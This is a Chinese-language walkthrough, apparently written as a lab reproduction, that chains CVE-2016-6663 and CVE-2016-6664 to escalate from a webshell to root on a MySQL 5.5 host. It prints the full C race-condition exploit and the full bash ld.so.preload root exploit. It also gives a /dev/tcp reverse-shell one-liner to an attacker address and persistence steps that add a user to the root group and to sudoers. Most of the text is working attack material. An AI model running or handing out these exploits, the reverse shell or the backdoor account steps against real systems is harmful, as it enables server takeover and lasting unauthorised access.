MySQL远程代码执行权限提升
通过复现学习,在前辈大佬的基础上做一些完善和补充。
0x00 利用条件
漏洞影响范围:
MySQL
<= 5.5.51 <= 5.6.32 <= 5.7.14
MariaDB All current
Percona Server < 5.5.51-38.2 < 5.6.32-78-1 < 5.7.14-8
Percona XtraDB Cluster < 5.6.32-25.17 < 5.7.14-26.17 < 5.5.41-37.0
其他条件:你要有一个Mysql低权限用户,可以从网站配置文件中获取。
0x01 漏洞原理
cve-2016-6663:Oracle MySQL Server是一个轻量的关系型数据库系统。Oracle MySQL在实现上存在权限提升及竞争条件漏洞,攻击者利用此漏洞可绕过某些安全限制提升为mysql权限,执行未授权操作。
cve-2016-6664:Oracle MySQL/MariaDB/PerconaDB某些版本在mysqld_safe中存在安全漏洞,使用基于文件登录时,本地用户通过对错误日志等进行符号链接攻击,可获取root权限。
漏洞详情可看下面的文章:
Cve-2016-6663:https://www.seebug.org/vuldb/ssvid-92510
Cve-2016-6664:https://www.seebug.org/vuldb/ssvid-92513
0x02环境搭建
系统:centos6.4
环境:安装LAMP环境,其中MySQL版本需注意,本次靶机使用的是MySQL 5.5.46。
数据库配置:
添加用户test,密码123456,授予权限create,drop,insert,select
create database testdb;
CREATE USER 'test'@'%' IDENTIFIED BY '123456';
grant create,drop,insert,select on testdb.* to 'test'@'%';
flush privileges;
其他:Shell写入,本次写入网站根目录shell.php。
0x03 获取mysql权限
利用cve-2016-6663。
1.菜刀链接webshell,然后上传需要用到的mysql-privesc-race.c文件,
wget http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c 。内容如下:
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
- On RedHat-based systems you might need to change /tmp to another public directory
- For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL*conn;// DB handles
MYSQL_RES*res;
MYSQL_ROWrow;
unsignedlongcnt;
voidintro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
voidusage(char*argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n",argv0);
}
voidmysql_cmd(char*sql_cmd,intsilent) {
if(!silent) {
printf("%s \n",sql_cmd);
}
if(mysql_query(conn,sql_cmd)) {
fprintf(stderr,"%s\n",mysql_error(conn));
exit(1);
}
res=mysql_store_result(conn);
if(res>0)mysql_free_result(res);
}
intmain(intargc,char**argv)
{
intrandomnum=0;
intio_notified=0;
intmyd_handle;
intwpid;
intis_shell_suid=0;
pid_tpid;
intstatus;
structstatst;
/* io notify */
intfd;
intret;
charbuf[4096]__attribute__((aligned(8)));
intnum_read;
structinotify_event*event;
/* credentials */
char*user=argv[1];
char*password=argv[2];
char*db_host=argv[3];
char*database=argv[4];
// Disable buffering of stdout
setvbuf(stdout,NULL,_IONBF,0);
// Get the params
if(argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n",database,user,db_host);
conn=mysql_init(NULL);
if(!mysql_real_connect(conn,db_host,user,password,database,0,NULL,0)) {
fprintf(stderr,"%s\n",mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n","/tmp/"EXP_DIRN);
umask(000);
system("rm -rf /tmp/"EXP_DIRN" && mkdir /tmp/"EXP_DIRN);
system("chmod g+s /tmp/"EXP_DIRN);
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table",0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell",0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'",0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'",0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash "SUID_SHELL);
system("ls -l "SUID_SHELL);
// Use inotify to get the timing right
fd=inotify_init();
if(fd<0) {
printf("failed to inotify_init\n");
return-1;
}
ret=inotify_add_watch(fd,EXP_PATH,IN_CREATE|IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while(is_shell_suid!=1) {
cnt++;
if( (cnt%100)==0) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table",1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH"'",1);
/* random num if needed */
srand(time(NULL) );
randomnum=(rand()%MAX_DELAY);
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid=fork();
if(pid<0) {
fprintf(stderr,"Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if(pid==0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED",1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if(pid>0) {
io_notified=0;
while(1) {
intprocessed=0;
ret=read(fd,buf,sizeof(buf));
if(ret<0) {
break;
}
while(processed<ret) {
event=(structinotify_event*)(buf+processed);
if(event->mask&IN_CLOSE) {
if(!strcmp(event->name,"exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle=open(MYSQL_TAB_FILE,O_CREAT,0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE,04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL,MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed+=sizeof(structinotify_event);
}
if(io_notified) {
break;
}
}
waitpid(pid,&status,0);
}
// Check if SUID bit was set at the end of this attempt
if(lstat(SUID_SHELL,&st)==0) {
if(st.st_mode&S_ISUID) {
is_shell_suid=1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n",cnt);
system("ls -l "SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL" -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return0;
}
2.反弹shell ,攻击机监听1234端口
nc.exe -lvvp 1234
通过webshell执行命令反弹shell实现交互。
bash-i>& /dev/tcp/192.168.1.3/12340>&1
下图是反弹得到的shell,权限是Apache。
编译上传的C源码(这一步有点坑,gcc没配置好绕了许多弯路):
gccmysql-privesc-race.c-omysql-privesc-race-I/usr/include/mysql-L/usr/lib64/mysql-lmysqlclient-lm-lpthread-ldl
执行编译好的文件,test为我们获得的MySQL用户,123456是密码,testdb是数据库名:
./mysql-privesc-race test123456localhost testdb
看一看到执行完成后,权限变成了mysql。
0x04 mysql权限提升为root权限
利用CVE-2016-6664
ps:目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式
测试办法:grep -r syslog /etc/mysql
返回没有任何结果既满足“基于文件的日志”要求 。
在mysql权限下使用wget上传mysql-chowned.sh,内容如下 :
#!/bin/bash -p
#
# MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.1)
#
# CVE-2016-6664 / OCVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / OCVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
functioncleanexit {
# Cleanup
echo-e"\n[+] Cleaning up..."
rm-f$PRIVESCSRC
rm-f$PRIVESCLIB
rm-f$ERRORLOG
touch$ERRORLOG
if[-f/etc/ld.so.preload ];then
echo-n> /etc/ld.so.preload
fi
echo-e"\n[+] Job done. Exiting with code $1 \n"
exit$1
}
functionctrl_c() {
echo-e"\n[+] Ctrl+C pressed"
cleanexit0
}
#intro
echo-e"\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
echo-e"Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
# Args
if[$#-lt1];then
echo-e"\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo-e"It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit3
fi
# Priv check
echo-e"\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id |grep-qmysql
if[$?-ne0];then
echo-e"\n[!] You need to execute the exploit as mysql user! Exiting.\n"
exit3
fi
# Set target paths
ERRORLOG="$1"
if[ !-f$ERRORLOG];then
echo-e"\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"
exit3
fi
echo-e"\n[+] Target MySQL log file set to $ERRORLOG"
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo-e"\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat<<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid=dlsym(RTLD_NEXT,"geteuid");
if( old_geteuid()==0) {
chown("$BACKDOORPATH",0,0);
chmod("$BACKDOORPATH",04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash-c"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if[$?-ne0];then
echo-e"\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit2;
fi
# Prepare backdoor shell
cp$BACKDOORSH$BACKDOORPATH
echo-e"\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if[-f/etc/ld.so.preload ];then
echo-e"\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit2
fi
# Symlink the log file to /etc
rm-f$ERRORLOG&&ln-s/etc/ld.so.preload$ERRORLOG
if[$?-ne0];then
echo-e"\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit3
fi
echo-e"\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
# Wait for MySQL to re-open the logs
echo-ne"\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo-n"Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] "
read THE_ANSWER
if["$THE_ANSWER"="y"];then
echo-e"Got it. Executing 'killall mysqld' now..."
killallmysqld
fi
while:;do
sleep0.1
if[-f/etc/ld.so.preload ];then
echo$PRIVESCLIB> /etc/ld.so.preload
rm-f$ERRORLOG
break;
fi
done
# Inject the privesc.so shared library to escalate privileges
echo$PRIVESCLIB> /etc/ld.so.preload
echo-e"\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo-e"\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo-e"\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod755/etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo-e"\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo2>/dev/null >/dev/null
#while :; do
# sleep 0.1
# ps aux | grep mysqld | grep -q 'log-error'
# if [ $? -eq 0 ]; then
# break;
# fi
#done
# Check for the rootshell
ls-l$BACKDOORPATH
ls-l$BACKDOORPATH|greprws |grep-qroot
if[$?-eq0];then
echo-e"\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo-e"\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
echo-e"\n[!] Failed to get root"
cleanexit2
fi
# Execute the rootshell
echo-e"\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH-p-c"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH-p-i
# Job done.
cleanexit0
命令如下:
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log
需要注意的是/var/log/mysql/error.log 是mysql的错误日志文件,不同环境下名称可能不同。下图可以看到已经获得root权限。
0x05 回顾和后续处理
提升为mysql的条件
1.已经getshell2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权
mysql提升为root权限的条件
1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)2.需要在mysql权限下运行才能利用(可通过上面的方式先获取mysql权限)
后续处理
获取root权限会终止目标机的mysql服务,需要重启MySQL,但是可能我个人配置的原因,在shell中重启mysql失败,但在目标机中使用root是可以重启mysql成功的。所以想到了新建一个root权限用户。因为shell交互性的问题,不能交互修改密码,也不能使用vim等工具修改文件。所以使用如下方法:
一句话添加用户和密码: useradd guest;echo 'guest:123456'|chpasswd
加入root 组 :usermod -g root guest
修改文件允许用户使用Sudo:echo "guest ALL=(ALL) ALL" >> /etc/sudoers
至此root权限的用户添加完毕,ssh登陆后 sudo service mysql start ,然后哈皮去吧。
参考文章:Mysql提权(CVE-2016-6663、CVE-2016-6664组合实践)https://xz.aliyun.com/t/1122
Cve-2016-6663:https://www.seebug.org/vuldb/ssvid-92510
Cve-2016-6664:https://www.seebug.org/vuldb/ssvid-92513
linux各种一句话反弹shell总结:https://www.anquanke.com/post/id/87017